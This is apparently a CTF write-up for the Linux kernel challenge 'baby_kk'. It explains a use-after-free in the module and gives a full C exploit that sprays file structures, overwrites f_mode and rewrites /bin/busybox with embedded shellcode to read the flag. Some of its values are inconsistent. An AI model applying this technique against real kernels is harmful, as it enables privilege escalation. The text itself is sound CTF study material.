baby_kk
方法一(堆喷busybox 来分配file结构体)
分析:
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2 \
-kernel bzImage \
-hda ./rootfs.img \
-nographic \
-snapshot \
-append "console=ttyS0 root=/dev/sda rw kaslr pti=on quiet oops=panic" \
-monitor /dev/null \
-no-reboot \
-s
可见开启了很多保护,经过笔者测试本题还开启了Random freelist(CONFIG_SLAB_FREELIST_RANDOM=y)
不过无伤大雅,可以利用堆喷绕过。
rcS
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chmod 700 /root/flag
chown -R root:root /root/flag
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
insmod /root/baby_kk.ko
chmod 666 /dev/baby_kk
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 8 > /proc/sys/kernel/printk
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
cd /home/ctf
su ctf -c sh
poweroff -d 0 -f
漏洞点

这里kfree后没有对指针清空存在UAF,而且也只是清空了标记,没有对size清空,所以我们在kmalloc分配后再编辑写入0x100的大小的数据后释放掉堆,不仅可以再编辑堆还可以进行读取。
其它代码的分析如下:
LABEL_25: // 命令0x1111 - 分配堆块
if ( v40 <= 0x4FF && v39 <= 0x100 ) // 检查索引和大小是否有效
{
if ( byte_2518[32 * v40] ) // 检查堆块是否已分配
{
v6 = -16LL;
goto LABEL_10;
}
v13 = _kmalloc_cache_noprof( // 使用随机化的kmalloc缓存分配内存 GFP_KERNEL 分配0x100
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8],
0xDC0LL,
0x100LL);
v14 = v40;
if ( v40 >= 0x500 )
{
v35 = v13;
_ubsan_handle_out_of_bounds(&off_1DC0, v40);
v13 = v35;
}
heap_list[4 * v14] = v13;
if ( v14 >= 0x500 ) // 越界处理
{
v34 = v13;
_ubsan_handle_out_of_bounds(&off_1DA0, v14);
v13 = v34;
}
if ( !v13 ) // 分配失败检查
{
v6 = -12LL;
goto LABEL_10;
}
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D80, v14);
qword_2510[4 * v14] = 0LL; // 初始化读偏移
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D60, v14);
qword_2508[4 * v14] = 0LL; // 初始化写偏移/大小
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D40, v14);
byte_2518[32 * v14] = 1; // 标记堆块为已分配
goto LABEL_9;
}
LABEL_59:
v6 = -22LL;
goto LABEL_10;
}
if ( (_DWORD)myrsi != 0x4444 ) // 命令0x4444 - 读取数据
goto LABEL_59;
v8 = v38; // 用户缓冲区指针
if ( !v38 )
goto LABEL_59;
v9 = v40; // 堆块索引
if ( v40 > 0x4FF )
goto LABEL_59;
v10 = heap_list[4 * v40]; // 获取堆块指针
if ( !v10 )
goto LABEL_59;
v3 = qword_2510[4 * v40]; // 当前读偏移
v11 = qword_2508[4 * v9]; // 当前写偏移/数据大小
if ( v11 < v3 )
goto LABEL_59;
v2 = v39; // 要读取的大小
if ( v9 >= 0x500 ) // 边界检查
{
v26 = v10;
v31 = v8;
_ubsan_handle_out_of_bounds(&off_1B80, v9);
_ubsan_handle_out_of_bounds(&off_1B60, v9);
v10 = v26;
v8 = v31;
}
if ( v11 - v3 < v2 ) // 检查剩余数据是否足够
goto LABEL_59;
if ( v9 >= 0x500 ) // 边界检查
{
v25 = v10;
v30 = v8;
_ubsan_handle_out_of_bounds(&off_1B40, v9);
_ubsan_handle_out_of_bounds(&off_1B20, v9);
_ubsan_handle_out_of_bounds(&off_1B00, v9);
_ubsan_handle_out_of_bounds(&off_1AE0, v9);
v10 = v25;
v8 = v30;
}
v12 = v2;
if ( v2 > 0x100 ) // 检查读取大小是否超过256字节限制
{
_fortify_panic(17LL, 256LL);
goto LABEL_25;
}
LABEL_51:
if ( v9 >= 0x500 ) // 边界检查
{
v23 = v12;
v27 = v10;
v37 = v8;
_ubsan_handle_out_of_bounds(&off_1AC0, v9);
_ubsan_handle_out_of_bounds(&off_1AA0, v9);
v12 = v23;
v10 = v27;
v8 = v37;
}
v28 = v8;
memcpy(v41, (const void *)(v10 + (v3 << 8)), v12);// 从堆块拷贝数据到内核缓冲区
_check_object_size(v41, v2, 1LL);
if ( !copy_to_user(v28, v41, v2) ) // 将数据从内核缓冲区拷贝到用户空间
{
v19 = v40;
if ( v40 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1A80, v40);
v6 = v39;
v20 = qword_2510[4 * v19]; // 当前读偏移
if ( v19 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1A60, v19);
qword_2510[4 * v19] = v6 + v20; // 更新读偏移
goto LABEL_10;
}
LABEL_73: // 命令0x3333 - 写入数据
v6 = -14LL;
goto LABEL_10;
}
v15 = v38;
if ( !v38 )
goto LABEL_59;
if ( v40 > 0x4FF )
goto LABEL_59;
if ( !heap_list[4 * v40] )
goto LABEL_59;
v16 = v39;
if ( v39 > 0x100 )
goto LABEL_59;
_check_object_size(v41, v39, 0LL);
if ( copy_from_user(v41, v15, v16) )
goto LABEL_73;
v9 = v40;
v17 = v39;
if ( v40 >= 0x500 )
{
v33 = v39;
_ubsan_handle_out_of_bounds(&off_1C80, v40);
v17 = v33;
}
v18 = (void *)heap_list[4 * v9];
if ( v9 >= 0x500 )
{
v32 = v17;
_ubsan_handle_out_of_bounds(&off_1C60, v9);
v17 = v32;
}
if ( v17 > 0x100 )
{
v10 = _fortify_panic(16LL, -1LL);
goto LABEL_51;
}
if ( v9 >= 0x500 )
{
v36 = v17;
_ubsan_handle_out_of_bounds(&off_1C40, v9);
v17 = v36;
}
memcpy(v18, v41, v17); // 从内核缓冲区拷贝数据到堆块
v22 = v40;
if ( v40 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1C20, v40);
v6 = v39;
qword_2508[4 * v22] = v39;
if ( v22 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1C00, v22);
qword_2510[4 * v22] = 0LL;
LABEL_10:
mutex_unlock(&lock);
return v6;
}
利用思路
因为这是CTF题目,基本都是用busybox来充当文件系统提供应用基础环境。对于要获取flag来说就能利用busybox来进行一些操作,如果要提权还得考虑其它方法。
本题内核版本是v6.14,对应的file结构体如下:
struct file {
file_ref_t f_ref;
spinlock_t f_lock;
fmode_t f_mode;
const struct file_operations *f_op;
struct address_space *f_mapping;
void *private_data;
struct inode *f_inode;
unsigned int f_flags;
unsigned int f_iocb_flags;
const struct cred *f_cred;
/* --- cacheline 1 boundary (64 bytes) --- */
struct path f_path;
union {
/* regular files (with FMODE_ATOMIC_POS) and directories */
struct mutex f_pos_lock;
/* pipes */
u64 f_pipe;
};
loff_t f_pos;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* --- cacheline 2 boundary (128 bytes) --- */
struct fown_struct *f_owner;
errseq_t f_wb_err;
errseq_t f_sb_err;
#ifdef CONFIG_EPOLL
struct hlist_head *f_ep;
#endif
union {
struct callback_head f_task_work;
struct llist_node f_llist;
struct file_ra_state f_ra;
freeptr_t f_freeptr;
};
/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
分配此结构体能从kmalloc-256中取,而题目中创建的堆也刚好是0x100大小,所以能刚好分配到file结构体.
我们 spray 一堆 /bin/busybox 的 file 结构体,让file 结构体占用kfree掉的堆。
修改该 file 结构体的 f_mode 字段,从而将 /bin/busybox 的权限改为可写,其中正常 /bin/busybox 的权限为 -rwxr-xr-x, 并不具备可写权限。
我们写 /bin/busybox 为可以 get flag 的简单 binary,然后在 cmd 里面 exit,系统会以高权限执行 /bin/busybox, 从而获取 flag
这里有一个问题,为什么我们需要写的是 /bin/busybox,这是因为我们熟悉的ls cat exit这些指令,本质为指向/bin/busybox的软链接,执行这些指令时,实际上是执行 /bin/busybox,所以我们只需要修改 /bin/busybox 的权限即可,而我们读 flag 需要提权,正常的用户进程没有这么高的权限,但是看到了/bin/busybox在执行exit时为高权限,就想到利用它完成提权。
堆喷busybox
for (int i = 0; i < 0x100; i++)
{
busybox_fd[i] = open("/bin/busybox",O_RDONLY);
if(busybox_fd[i]<0){
err_exit("open /bin/busybox failed...");
}
}
print_c("spray busybox finish....");
这里喷射大量busybox 希望有file结构体占用释放的堆。
设置写权限
print_c("set f_mode 通过对写权限的检查");
uint32_t tmp[0x10]={0};
tmp[1] = 0x1;
tmp[3] = 0xC4E801F;
for(int i = 0;i<0x500;i++){
edit(i,tmp,0x10);
}
这里要设置f_ref不为空否则会报错,设置f_mode具有写权限
这里设置f_mode为0xC4E801F是因为:f_mode 要修改成的 flag为 原值 | FMODE_CAN_WRITE | FMODE_WRITE,注意要加上 FMODE_CAN_WRITE这样才有可写权限。
这些 flags 的具体取值和功能在 这里
如下:

f_mode原值为0x0c4a901d
那么改后为 0x0c4a901d + 0x00040000 + 0x00000002 = 0xC4E901F。
写shellcode
这里可以注意一下,我们改的是该进程的 file 结构体的 f_mode,也就是在该进程尝试写入 /bin/busybox 的时候,能通过对写权限的检查,整个的 /bin/busybox 权限并不会变化
for(int i = 0;i<0x100;i++){
int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
if(write_size>0){
printf("write %d size to busybox_fd[%d]\n",write_size,i);
break;
}
}
print_c("write busybox finish....");
for (int i = 0; i < 0x100; i++)
{
close(busybox_fd[i]);
}
完整exp:
#include "kernel_pwn.h"
#define MAX_PIPE_COUNT 0x100
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t pop_rdi = 0xffffffff81348ec2;
size_t commit_creds = 0xffffffff813c46f0;
size_t init_cred = 0xffffffff8368c1a0;
size_t swapgs_restore_regs_and_return_to_usermode_addr = 0xffffffff81001150+0x1b;
int fd;
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
int busybox_fd[0x100];
struct node
{
void *user_buf;
size_t size;
size_t idx;
};
struct node my_node;
int add(size_t idx,size_t size){
my_node.size = size;
my_node.idx = idx;
return ioctl(fd,0x1111,&my_node);
}
int del(size_t idx){
my_node.idx = idx;
return ioctl(fd,0x2222,&my_node);
}
int read_data(size_t idx,void *addr,size_t size){
my_node.user_buf = addr;
my_node.size = size;
my_node.idx = idx;
return ioctl(fd,0x4444,&my_node);
}
int edit(size_t idx,void *addr,size_t size){
my_node.user_buf = addr;
my_node.size = size;
my_node.idx = idx;
return ioctl(fd,0x3333,&my_node);
}
//堆喷pipe
void sparay_pipes(int start,int cnt){
// char *buf[0x1000] = {0};
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);
for(int i = start;i<cnt;i++){
if(pipe(pipe_fd[i])<0){
err_exit("creat pipe failed...");
}
}
}
//修改pipe_buffer大小为0x100
void pipe_buffer_resize(){
print_c("[*] pipe buffer resize");
for(int i =0;i<MAX_PIPE_COUNT;i++){
if(fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*4)<0){
err_exit("pipe set size failed.....");
}
}
}
void pipe_buffer_init(){
print_c("[*] pipe buffer init");
for(int i =0;i<MAX_PIPE_COUNT;i++){
uint32_t k = i;
write(pipe_fd[i][1],"saul666",8);
write(pipe_fd[i][1],&k,sizeof(uint32_t));
}
}
unsigned char shellcode[552] = {
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(){
bind_core(0);
save_status();
char buf[0x100] = {0};
char data[0x100] = {0};
fd = open("/dev/baby_kk",2);
if(fd<0){
err_exit("open fd failed...");
}
for(int i = 0;i<0x500;i++){
add(i,0x100);
edit(i,buf,0x100);
}
for(int i = 0;i<0x500;i++){
del(i);
}
print_c("[*] alloc and free finish...");
for (int i = 0; i < 0x100; i++)
{
busybox_fd[i] = open("/bin/busybox",O_RDONLY);
if(busybox_fd[i]<0){
err_exit("open /bin/busybox failed...");
}
}
print_c("spray busybox finish....");
print_c("set f_mode 通过对写权限的检查");
uint32_t tmp[0x10]={0};
tmp[0] = 0x1;
tmp[3] = 0xC4E801F;
for(int i = 0;i<0x500;i++){
edit(i,tmp,0x10);
}
for(int i = 0;i<0x500;i++){
read_data(i,data,0x10);
binary_dump(data,0x10,0);
}
for(int i = 0;i<0x100;i++){
int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
if(write_size>0){
printf("write %d size to busybox_fd[%d]\n",write_size,i);
break;
}
}
print_c("write busybox finish....");
for (int i = 0; i < 0x100; i++)
{
close(busybox_fd[i]);
}
return 0;
}

最后执行exit拿到flag
方法二(堆喷msg_msg & pipe_buffer)
因为本题有UAF,又能读取,编辑这些,所以笔者本来想利用 堆喷msg_msg结构体来泄露堆地址,然后再堆喷pipe_buffer来泄露内核基地址,最后劫持pipe_buffer的ops中的release达到ROP的效果。
但是笔者测试了好几个小时一直卡在msg_msg泄露堆地址,不知道是姿势不对还是什么,如果有大佬知道,麻烦教教鼠鼠。
4297

被折叠的 条评论
为什么被折叠?



